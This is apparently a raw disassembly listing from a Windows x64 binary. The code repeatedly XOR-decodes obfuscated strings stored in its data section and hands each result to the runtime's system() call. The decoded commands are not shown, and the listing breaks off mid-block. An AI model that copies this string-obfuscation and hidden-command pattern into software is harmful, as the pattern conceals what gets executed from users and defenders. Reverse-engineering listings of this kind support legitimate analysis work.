nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400bb900
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bb940
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1482
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174250]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174260]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174270]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x140174280]
mov byte [rbp - 0x60], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bbb2e
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bba21
cmp r8d, 0x31
jge 0x1400bbb73
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400bbb40
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bbb80
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1488
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174f98]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174fa8]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174fb8]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x140174fc8]
mov byte [rbp - 0x60], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bbd6e
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bbc61
cmp r8d, 0x31
jge 0x1400bbdb3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400bbd80
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bbdc0
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c148e
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174868]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174878]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174888]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x140174898]
mov word [rbp - 0x60], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bbfaf
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bbea2
cmp r8d, 0x32
jge 0x1400bbff3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400bbfc0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bc000
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1494
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140176068]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140176078]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140176088]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140176098]
mov dword [rbp - 0x60], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bc1ed
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bc0e0
cmp r8d, 0x34
jge 0x1400bc233
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x1400bc200
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bc240
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c149a
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x1401752f8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175308]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175318]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140175328]
mov dword [rbp - 0x60], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bc42d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bc320
cmp r8d, 0x34
jge 0x1400bc473
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x1400bc440
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bc480
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c14a0
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174d30]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174d40]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174d50]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140174d60]
mov dword [rbp - 0x60], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bc66d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bc560
cmp r8d, 0x34
jge 0x1400bc6b3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x1400bc680
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bc6c0
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c14a6
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140173fa0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140173fb0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140173fc0]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140173fd0]
mov dword [rbp - 0x60], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bc8ad
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bc7a0
cmp r8d, 0x34
jge 0x1400bc8f3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x1400bc8c0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bc900
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c14ac
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140175900]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175910]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175920]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140175930]
mov dword [rbp - 0x60], eax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x5c], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bcafd
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bc9f0
cmp r8d, 0x35
jge 0x1400bcb43
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400bcb10
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bcb50
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
